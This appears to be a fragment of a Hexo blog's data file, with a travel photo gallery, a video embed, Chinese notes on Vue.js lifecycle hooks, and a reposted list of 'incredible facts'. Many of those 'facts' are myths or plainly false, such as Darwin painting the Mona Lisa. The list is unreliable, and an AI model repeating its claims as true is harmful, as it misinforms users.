281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h3 id=\"无题\"><a href=\"#无题\" class=\"headerlink\" title=\"无题\"></a>无题</h3><div id=\"dplayer1\" class=\"dplayer hexo-tag-dplayer-mark\" style=\"margin-bottom: 20px;\"></div><script>(function(){var player = new DPlayer({\"container\":document.getElementById(\"dplayer1\"),\"autoplay\":true,\"theme\":\"#fff\",\"loop\":true,\"video\":{\"url\":\"http://orjedzer5.bkt.clouddn.com//video/mp4/wuti.mp4\"},\"danmaku\":{\"id\":\"4\",\"api\":\"http://dplayer.daoapp.io\",\"token\":\"tokendemo\"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script>"},{"title":"vue学习笔记（一）","date":"2017-06-18T14:47:47.000Z","_content":"\n## vue的实例对象与生命周期\n\n### vue 的生命周期图\n![](http://images.cnblogs.com/cnblogs_com/fly_dragon/276813/o_lifecycle-%E6%A0%87%E6%B3%A8%E7%89%88%E6%9C%AC.png)\n* beforeCreate\n> 在实例初始化之后，数据观测(data observer) 和 event/watcher 事件配置之前被调用。\n\n* created\n> 实例已经创建完成之后被调用。在这一步，实例已完成以下的配置：数据观测(data observer)，属性和方法的运算， watch/event 事件回调。然而，挂载阶段还没开始，$el 属性目前不可见。\n\n* beforeMount\n> 在挂载开始之前被调用：相关的 render 函数首次被调用。\n\n* mounted\n> el 被新创建的 vm.$el 替换，并挂载到实例上去之后调用该钩子。如果 root 实例挂载了一个文档内元素，当 mounted 被调用时 vm.$el 也在文档内。\n\n* beforeUpdate\n>  数据更新时调用，发生在虚拟 DOM 重新渲染和打补丁之前。 你可以在这个钩子中进一步地更改状态，这不会触发附加的重渲染过程。\n\n* updated\n>  由于数据更改导致的虚拟 DOM 重新渲染和打补丁，在这之后会调用该钩子。\n当这个钩子被调用时，组件 DOM 已经更新，所以你现在可以执行依赖于 DOM 的操作。然而在大多数情况下，你应该避免在此期间更改状态，因为这可能会导致更新无限循环。\n>  该钩子在服务器端渲染期间不被调用。\n\n* beforeDestroy\n>  实例销毁之前调用。在这一步，实例仍然完全可用。\n\n* destroyed\n>  Vue 实例销毁后调用。调用后，Vue 实例指示的所有东西都会解绑定，所有的事件监听器会被移除，所有的子实例也会被销毁。 该钩子在服务器端渲染期间不被调用。\n\n## 实例对象\n\n### data\n* 类型是Object或者Function。\n> var vm = new Vue({\n  data: data\n})\n\n### computed\n* 介绍\nVue的计算属性（computed)的属性会自动混入Vue的实例中。所有 getter 和 setter 的 this 上下文自动地绑定为 Vue 实例。这就很强大了，再计算属性中定义的函数里面可以直接使用指向了 vue 实例的 this\n\n### methods\n* 类型: { [key: string]: Function }\nmethods 将被混入到 Vue 实例中。可以直接通过 VM 实例访问这些方法，或者在指令表达式中使用。方法中的 this 自动绑定为 Vue 实例。\n\n### watch\n* 类型： { [key: string]: string | Function | Object }\n一个对象，键是需要观察的表达式，值是对应回调函数。值也可以是方法名，或者包含选项的对象。Vue 实例将会在实例化时调用 $watch()，遍历 watch 对象的每一个属性。\n\n## 总结\nVue的实例封装的还是挺有艺术性的，很符合开发者的思维规范，它的生命周期也非常清晰，使用起来也非常方便。MVVM双向绑定思想也是吊的可以\n\n\n\n","source":"_posts/vue学习笔记（一）.md","raw":"---\ntitle: vue学习笔记（一）\ndate: 2017-06-18 22:47:47\ntags: [vue]\ncategories: vue\n---\n\n## vue的实例对象与生命周期\n\n### vue 的生命周期图\n![](http://images.cnblogs.com/cnblogs_com/fly_dragon/276813/o_lifecycle-%E6%A0%87%E6%B3%A8%E7%89%88%E6%9C%AC.png)\n* beforeCreate\n> 在实例初始化之后，数据观测(data observer) 和 event/watcher 事件配置之前被调用。\n\n* created\n> 实例已经创建完成之后被调用。在这一步，实例已完成以下的配置：数据观测(data observer)，属性和方法的运算， watch/event 事件回调。然而，挂载阶段还没开始，$el 属性目前不可见。\n\n* beforeMount\n> 在挂载开始之前被调用：相关的 render 函数首次被调用。\n\n* mounted\n> el 被新创建的 vm.$el 替换，并挂载到实例上去之后调用该钩子。如果 root 实例挂载了一个文档内元素，当 mounted 被调用时 vm.$el 也在文档内。\n\n* beforeUpdate\n>  数据更新时调用，发生在虚拟 DOM 重新渲染和打补丁之前。 你可以在这个钩子中进一步地更改状态，这不会触发附加的重渲染过程。\n\n* updated\n>  由于数据更改导致的虚拟 DOM 重新渲染和打补丁，在这之后会调用该钩子。\n当这个钩子被调用时，组件 DOM 已经更新，所以你现在可以执行依赖于 DOM 的操作。然而在大多数情况下，你应该避免在此期间更改状态，因为这可能会导致更新无限循环。\n>  该钩子在服务器端渲染期间不被调用。\n\n* beforeDestroy\n>  实例销毁之前调用。在这一步，实例仍然完全可用。\n\n* destroyed\n>  Vue 实例销毁后调用。调用后，Vue 实例指示的所有东西都会解绑定，所有的事件监听器会被移除，所有的子实例也会被销毁。 该钩子在服务器端渲染期间不被调用。\n\n## 实例对象\n\n### data\n* 类型是Object或者Function。\n> var vm = new Vue({\n  data: data\n})\n\n### computed\n* 介绍\nVue的计算属性（computed)的属性会自动混入Vue的实例中。所有 getter 和 setter 的 this 上下文自动地绑定为 Vue 实例。这就很强大了，再计算属性中定义的函数里面可以直接使用指向了 vue 实例的 this\n\n### methods\n* 类型: { [key: string]: Function }\nmethods 将被混入到 Vue 实例中。可以直接通过 VM 实例访问这些方法，或者在指令表达式中使用。方法中的 this 自动绑定为 Vue 实例。\n\n### watch\n* 类型： { [key: string]: string | Function | Object }\n一个对象，键是需要观察的表达式，值是对应回调函数。值也可以是方法名，或者包含选项的对象。Vue 实例将会在实例化时调用 $watch()，遍历 watch 对象的每一个属性。\n\n## 总结\nVue的实例封装的还是挺有艺术性的，很符合开发者的思维规范，它的生命周期也非常清晰，使用起来也非常方便。MVVM双向绑定思想也是吊的可以\n\n\n\n","slug":"vue学习笔记（一）","published":1,"updated":"2018-01-25T11:13:47.807Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y60002mvzqhsqpr6e8g","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h2 id=\"vue的实例对象与生命周期\"><a href=\"#vue的实例对象与生命周期\" class=\"headerlink\" title=\"vue的实例对象与生命周期\"></a>vue的实例对象与生命周期</h2><h3 id=\"vue-的生命周期图\"><a href=\"#vue-的生命周期图\" class=\"headerlink\" title=\"vue 的生命周期图\"></a>vue 的生命周期图</h3><p><img src=\"http://images.cnblogs.com/cnblogs_com/fly_dragon/276813/o_lifecycle-%E6%A0%87%E6%B3%A8%E7%89%88%E6%9C%AC.png\" alt=\"\"></p>\n<ul>\n<li><p>beforeCreate</p>\n<blockquote>\n<p>在实例初始化之后，数据观测(data observer) 和 event/watcher 事件配置之前被调用。</p>\n</blockquote>\n</li>\n<li><p>created</p>\n<blockquote>\n<p>实例已经创建完成之后被调用。在这一步，实例已完成以下的配置：数据观测(data observer)，属性和方法的运算， watch/event 事件回调。然而，挂载阶段还没开始，$el 属性目前不可见。</p>\n</blockquote>\n</li>\n<li><p>beforeMount</p>\n<blockquote>\n<p>在挂载开始之前被调用：相关的 render 函数首次被调用。</p>\n</blockquote>\n</li>\n<li><p>mounted</p>\n<blockquote>\n<p>el 被新创建的 vm.$el 替换，并挂载到实例上去之后调用该钩子。如果 root 实例挂载了一个文档内元素，当 mounted 被调用时 vm.$el 也在文档内。</p>\n</blockquote>\n</li>\n<li><p>beforeUpdate</p>\n<blockquote>\n<p> 数据更新时调用，发生在虚拟 DOM 重新渲染和打补丁之前。 你可以在这个钩子中进一步地更改状态，这不会触发附加的重渲染过程。</p>\n</blockquote>\n</li>\n<li><p>updated</p>\n<blockquote>\n<p> 由于数据更改导致的虚拟 DOM 重新渲染和打补丁，在这之后会调用该钩子。<br>当这个钩子被调用时，组件 DOM 已经更新，所以你现在可以执行依赖于 DOM 的操作。然而在大多数情况下，你应该避免在此期间更改状态，因为这可能会导致更新无限循环。<br> 该钩子在服务器端渲染期间不被调用。</p>\n</blockquote>\n</li>\n<li><p>beforeDestroy</p>\n<blockquote>\n<p> 实例销毁之前调用。在这一步，实例仍然完全可用。</p>\n</blockquote>\n</li>\n<li><p>destroyed</p>\n<blockquote>\n<p> Vue 实例销毁后调用。调用后，Vue 实例指示的所有东西都会解绑定，所有的事件监听器会被移除，所有的子实例也会被销毁。 该钩子在服务器端渲染期间不被调用。</p>\n</blockquote>\n</li>\n</ul>\n<h2 id=\"实例对象\"><a href=\"#实例对象\" class=\"headerlink\" title=\"实例对象\"></a>实例对象</h2><h3 id=\"data\"><a href=\"#data\" class=\"headerlink\" title=\"data\"></a>data</h3><ul>\n<li>类型是Object或者Function。<blockquote>\n<p>var vm = new Vue({<br>data: data<br>})</p>\n</blockquote>\n</li>\n</ul>\n<h3 id=\"computed\"><a href=\"#computed\" class=\"headerlink\" title=\"computed\"></a>computed</h3><ul>\n<li>介绍<br>Vue的计算属性（computed)的属性会自动混入Vue的实例中。所有 getter 和 setter 的 this 上下文自动地绑定为 Vue 实例。这就很强大了，再计算属性中定义的函数里面可以直接使用指向了 vue 实例的 this</li>\n</ul>\n<h3 id=\"methods\"><a href=\"#methods\" class=\"headerlink\" title=\"methods\"></a>methods</h3><ul>\n<li>类型: { [key: string]: Function }<br>methods 将被混入到 Vue 实例中。可以直接通过 VM 实例访问这些方法，或者在指令表达式中使用。方法中的 this 自动绑定为 Vue 实例。</li>\n</ul>\n<h3 id=\"watch\"><a href=\"#watch\" class=\"headerlink\" title=\"watch\"></a>watch</h3><ul>\n<li>类型： { [key: string]: string | Function | Object }<br>一个对象，键是需要观察的表达式，值是对应回调函数。值也可以是方法名，或者包含选项的对象。Vue 实例将会在实例化时调用 $watch()，遍历 watch 对象的每一个属性。</li>\n</ul>\n<h2 id=\"总结\"><a href=\"#总结\" class=\"headerlink\" title=\"总结\"></a>总结</h2><p>Vue的实例封装的还是挺有艺术性的，很符合开发者的思维规范，它的生命周期也非常清晰，使用起来也非常方便。MVVM双向绑定思想也是吊的可以</p>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h2 id=\"vue的实例对象与生命周期\"><a href=\"#vue的实例对象与生命周期\" class=\"headerlink\" title=\"vue的实例对象与生命周期\"></a>vue的实例对象与生命周期</h2><h3 id=\"vue-的生命周期图\"><a href=\"#vue-的生命周期图\" class=\"headerlink\" title=\"vue 的生命周期图\"></a>vue 的生命周期图</h3><p><img src=\"http://images.cnblogs.com/cnblogs_com/fly_dragon/276813/o_lifecycle-%E6%A0%87%E6%B3%A8%E7%89%88%E6%9C%AC.png\" alt=\"\"></p>\n<ul>\n<li><p>beforeCreate</p>\n<blockquote>\n<p>在实例初始化之后，数据观测(data observer) 和 event/watcher 事件配置之前被调用。</p>\n</blockquote>\n</li>\n<li><p>created</p>\n<blockquote>\n<p>实例已经创建完成之后被调用。在这一步，实例已完成以下的配置：数据观测(data observer)，属性和方法的运算， watch/event 事件回调。然而，挂载阶段还没开始，$el 属性目前不可见。</p>\n</blockquote>\n</li>\n<li><p>beforeMount</p>\n<blockquote>\n<p>在挂载开始之前被调用：相关的 render 函数首次被调用。</p>\n</blockquote>\n</li>\n<li><p>mounted</p>\n<blockquote>\n<p>el 被新创建的 vm.$el 替换，并挂载到实例上去之后调用该钩子。如果 root 实例挂载了一个文档内元素，当 mounted 被调用时 vm.$el 也在文档内。</p>\n</blockquote>\n</li>\n<li><p>beforeUpdate</p>\n<blockquote>\n<p> 数据更新时调用，发生在虚拟 DOM 重新渲染和打补丁之前。 你可以在这个钩子中进一步地更改状态，这不会触发附加的重渲染过程。</p>\n</blockquote>\n</li>\n<li><p>updated</p>\n<blockquote>\n<p> 由于数据更改导致的虚拟 DOM 重新渲染和打补丁，在这之后会调用该钩子。<br>当这个钩子被调用时，组件 DOM 已经更新，所以你现在可以执行依赖于 DOM 的操作。然而在大多数情况下，你应该避免在此期间更改状态，因为这可能会导致更新无限循环。<br> 该钩子在服务器端渲染期间不被调用。</p>\n</blockquote>\n</li>\n<li><p>beforeDestroy</p>\n<blockquote>\n<p> 实例销毁之前调用。在这一步，实例仍然完全可用。</p>\n</blockquote>\n</li>\n<li><p>destroyed</p>\n<blockquote>\n<p> Vue 实例销毁后调用。调用后，Vue 实例指示的所有东西都会解绑定，所有的事件监听器会被移除，所有的子实例也会被销毁。 该钩子在服务器端渲染期间不被调用。</p>\n</blockquote>\n</li>\n</ul>\n<h2 id=\"实例对象\"><a href=\"#实例对象\" class=\"headerlink\" title=\"实例对象\"></a>实例对象</h2><h3 id=\"data\"><a href=\"#data\" class=\"headerlink\" title=\"data\"></a>data</h3><ul>\n<li>类型是Object或者Function。<blockquote>\n<p>var vm = new Vue({<br>data: data<br>})</p>\n</blockquote>\n</li>\n</ul>\n<h3 id=\"computed\"><a href=\"#computed\" class=\"headerlink\" title=\"computed\"></a>computed</h3><ul>\n<li>介绍<br>Vue的计算属性（computed)的属性会自动混入Vue的实例中。所有 getter 和 setter 的 this 上下文自动地绑定为 Vue 实例。这就很强大了，再计算属性中定义的函数里面可以直接使用指向了 vue 实例的 this</li>\n</ul>\n<h3 id=\"methods\"><a href=\"#methods\" class=\"headerlink\" title=\"methods\"></a>methods</h3><ul>\n<li>类型: { [key: string]: Function }<br>methods 将被混入到 Vue 实例中。可以直接通过 VM 实例访问这些方法，或者在指令表达式中使用。方法中的 this 自动绑定为 Vue 实例。</li>\n</ul>\n<h3 id=\"watch\"><a href=\"#watch\" class=\"headerlink\" title=\"watch\"></a>watch</h3><ul>\n<li>类型： { [key: string]: string | Function | Object }<br>一个对象，键是需要观察的表达式，值是对应回调函数。值也可以是方法名，或者包含选项的对象。Vue 实例将会在实例化时调用 $watch()，遍历 watch 对象的每一个属性。</li>\n</ul>\n<h2 id=\"总结\"><a href=\"#总结\" class=\"headerlink\" title=\"总结\"></a>总结</h2><p>Vue的实例封装的还是挺有艺术性的，很符合开发者的思维规范，它的生命周期也非常清晰，使用起来也非常方便。MVVM双向绑定思想也是吊的可以</p>\n"},{"title":"一些不可思议的的事","date":"2017-03-07T14:23:37.000Z","_content":"\n1. 没有一张纸可对折超过7次 \n2. 根据统计每年骡仔所杀的人比飞机失事所死的人还多 \n3. 人睡觉比坐着看电视所消耗的卡路里还多 \n4. Wright'sBrother发明飞机后第一次试飞的路程比一架波音747飞机的飞机翼还短 \n5. 很多人每朝起来都喝一杯咖啡提神，但其实一个苹果比一杯咖啡还有效 \n6. 你的家中多数尘埃都是你的死皮 \n7. 洋娃娃Barbie 全名是Barabra Millicent Roberts\n8. 希特拉的妈妈在怀有希特拉曾认真地考虑堕胎，不过被医说服，结果把他生下来 \n9. 玛丽莲梦露有6只脚趾 \n10. 降落伞的发明人把第一次乘坐降落伞的机会让给了一只狗\n11. 印度尼西亚竹节虫是全世界最大的昆虫，有些光是身长就有一呎长\n12. 其实，河马跑得比人快 \n13. 珍珠在醋中会溶 \n14. 一只70磅的章鱼可以穿过一个仅一枚银币大小的洞，因为他们没有脊椎 \n15. 你有可能将一只牛拉上楼梯，但牛是不懂下楼梯的 \n16. 猪不能仰头望天空 \n17. 'quick brown fox jumps over the lazy dog'可以用尽26个字母 \n18. 鸭的叫声是不会有回音的，暂时没有人知何解 \n19. 蜗牛可不吃东西睡3年 \n20. 著名影星Tommy Lee Jones与美国副总统曾经是哈佛大学同房 \n21. 如果一个月中，第一天是星期日，那个月便出现黑色星期五 \n22. 把石头放在微波炉中加热会爆炸 \n23. 1,111,111 x 1,111,111 = 1234567654321 \n24. 唯一一个有15英文字母而又不会重复是的英文字'uncopyrightable' \n25. 猫可发出超过100个音，狗却只能发10个音 \n26. 愈黑的环境下，猫的排尿次数会增加 \n27. 将一个硬币向上抛1000次，字向上的次数是495次，不是500次，因为公较重 \n28. 根据牛津字典世界上最长的英文字是'pneumonoultramicroscopicsilicovolcanoconiosis' \n29. 人体的胃每2个星期便会更新一次分泌物，否则它会自我消化 \n30. 可乐原是绿色的 \n31. 虎鲨的胚胎在母亲的子宫里需经过激烈的搏斗，胜利者就是可以活着出生的小虎鲨 \n32. 走路上班的人最高比率的省是阿拉斯加 \n33. 如果Barbie是人类，她是身形是39-23-33 \n34. 美国平均每小时在空中的人有61000人 \n35.  只有一种食物不会变坏:蜜糖 \n36. 在加勒比海附近有一种蚝是会爬榭的 \n37. 世界上最年轻的父母在1910年出现，一个8岁及另一个9岁的中国人 \n38. 人顃的鼻及耳是毕生都不断长大 \n39. 下午摘下的玫瑰比清晨摘下的玫瑰更能持久不枯萎 \n41. 乳牛听音乐时可以供应更多牛奶 \n42. 一条长颈鹿的舌头有2尺长 \n43. 大象可用头来站立 \n44. 蚂蚁早上醒来会抓痒 \n45. 伟大发明家爱迪生是怕黑的 \n46. 世上最老的金鱼是41岁，名叫Fred \n47. 爱因斯坦9岁时不能流利说话，他妈妈曾经一度以为他是弱智 \n48. 阿拉伯的女人可以因为丈夫不为她倒咖啡而提出离婚 \n49. 只有55%的美国人知道太阳是一个星体 \n50. 多数唇膏是有鱼鳞的 \n51. 长颈鹿没办法咳嗽 \n52. 猫头鹰是唯一能够分辨蓝色的鸟类 \n53. 一只鲸鱼一分钟心跳只有九下 \n54. 我们喝到肚子里头的水已经有三亿岁了 \n55. 只有百分之三十的人可以放大缩小自己的鼻孔 \n56. 一只牡蛎的性别会由男变女，此后一生中还会变个几次 \n57. 根据一项1845年由英国通过的法律，自杀是非常严重的罪，最重可以处以吊死的极刑 \n58. 在太空中航天员是没办法哭的，因为没有地心引力，眼泪流不出来 \n59. 一只变色龙的舌头是它自己身体的两倍长 \n60. 最常用牙签的人是美国人 \n61. 一个正常人的眼部肌肉一天平均要动上一万到一万五千次 \n62. 大象死后还会保持站立姿势 \n63. 有些昆虫没有头还可以再活上一年 \n64. 达尔文光是画蒙那莉萨的嘴唇就花上十二年 \n65. 玻璃破掉时，玻璃碎片的时速最高可达每小时三千英哩 \n\n> 世间真是无奇不有....","source":"_posts/一些不可思议的的事.md","raw":"---\ntitle: 一些不可思议的的事\ndate: 2017-03-07 22:23:37\ntags: [趣事]\ncategories: 生活\n---\n\n1. 没有一张纸可对折超过7次 \n2. 根据统计每年骡仔所杀的人比飞机失事所死的人还多 \n3. 人睡觉比坐着看电视所消耗的卡路里还多 \n4. Wright'sBrother发明飞机后第一次试飞的路程比一架波音747飞机的飞机翼还短 \n5. 很多人每朝起来都喝一杯咖啡提神，但其实一个苹果比一杯咖啡还有效 \n6. 你的家中多数尘埃都是你的死皮 \n7. 洋娃娃Barbie 全名是Barabra Millicent Roberts\n8. 希特拉的妈妈在怀有希特拉曾认真地考虑堕胎，不过被医说服，结果把他生下来 \n9. 玛丽莲梦露有6只脚趾 \n10. 降落伞的发明人把第一次乘坐降落伞的机会让给了一只狗\n11. 印度尼西亚竹节虫是全世界最大的昆虫，有些光是身长就有一呎长\n12. 其实，河马跑得比人快 \n13. 珍珠在醋中会溶 \n14. 一只70磅的章鱼可以穿过一个仅一枚银币大小的洞，因为他们没有脊椎 \n15. 你有可能将一只牛拉上楼梯，但牛是不懂下楼梯的 \n16. 猪不能仰头望天空 \n17. 'quick brown fox jumps over the lazy dog'可以用尽26个字母 \n18. 鸭的叫声是不会有回音的，暂时没有人知何解 \n19. 蜗牛可不吃东西睡3年 \n20. 著名影星Tommy Lee Jones与美国副总统曾经是哈佛大学同房 \n21. 如果一个月中，第一天是星期日，那个月便出现黑色星期五 \n22. 把石头放在微波炉中加热会爆炸 \n23. 1,111,111 x 1,111,111 = 1234567654321 \n24. 唯一一个有15英文字母而又不会重复是的英文字'uncopyrightable' \n25. 猫可发出超过100个音，狗却只能发10个音 \n26. 愈黑的环境下，猫的排尿次数会增加 \n27. 将一个硬币向上抛1000次，字向上的次数是495次，不是500次，因为公较重 \n28. 根据牛津字典世界上最长的英文字是'pneumonoultramicroscopicsilicovolcanoconiosis' \n29. 人体的胃每2个星期便会更新一次分泌物，否则它会自我消化 \n30. 可乐原是绿色的 \n31. 虎鲨的胚胎在母亲的子宫里需经过激烈的搏斗，胜利者就是可以活着出生的小虎鲨 \n32. 走路上班的人最高比率的省是阿拉斯加 \n33. 如果Barbie是人类，她是身形是39-23-33 \n34. 美国平均每小时在空中的人有61000人 \n35.  只有一种食物不会变坏:蜜糖 \n36. 在加勒比海附近有一种蚝是会爬榭的 \n37. 世界上最年轻的父母在1910年出现，一个8岁及另一个9岁的中国人 \n38. 人顃的鼻及耳是毕生都不断长大 \n39. 下午摘下的玫瑰比清晨摘下的玫瑰更能持久不枯萎 \n41. 乳牛听音乐时可以供应更多牛奶 \n42. 一条长颈鹿的舌头有2尺长 \n43. 大象可用头来站立 \n44. 蚂蚁早上醒来会抓痒 \n45. 伟大发明家爱迪生是怕黑的 \n46. 世上最老的金鱼是41岁，名叫Fred \n47. 爱因斯坦9岁时不能流利说话，他妈妈曾经一度以为他是弱智 \n48. 阿拉伯的女人可以因为丈夫不为她倒咖啡而提出离婚 \n49. 只有55%的美国人知道太阳是一个星体 \n50. 多数唇膏是有鱼鳞的 \n51. 长颈鹿没办法咳嗽 \n52. 猫头鹰是唯一能够分辨蓝色的鸟类 \n53. 一只鲸鱼一分钟心跳只有九下 \n54. 我们喝到肚子里头的水已经有三亿岁了 \n55. 只有百分之三十的人可以放大缩小自己的鼻孔 \n56. 一只牡蛎的性别会由男变女，此后一生中还会变个几次 \n57. 根据一项1845年由英国通过的法律，自杀是非常严重的罪，最重可以处以吊死的极刑 \n58. 在太空中航天员是没办法哭的，因为没有地心引力，眼泪流不出来 \n59. 一只变色龙的舌头是它自己身体的两倍长 \n60. 最常用牙签的人是美国人 \n61. 一个正常人的眼部肌肉一天平均要动上一万到一万五千次 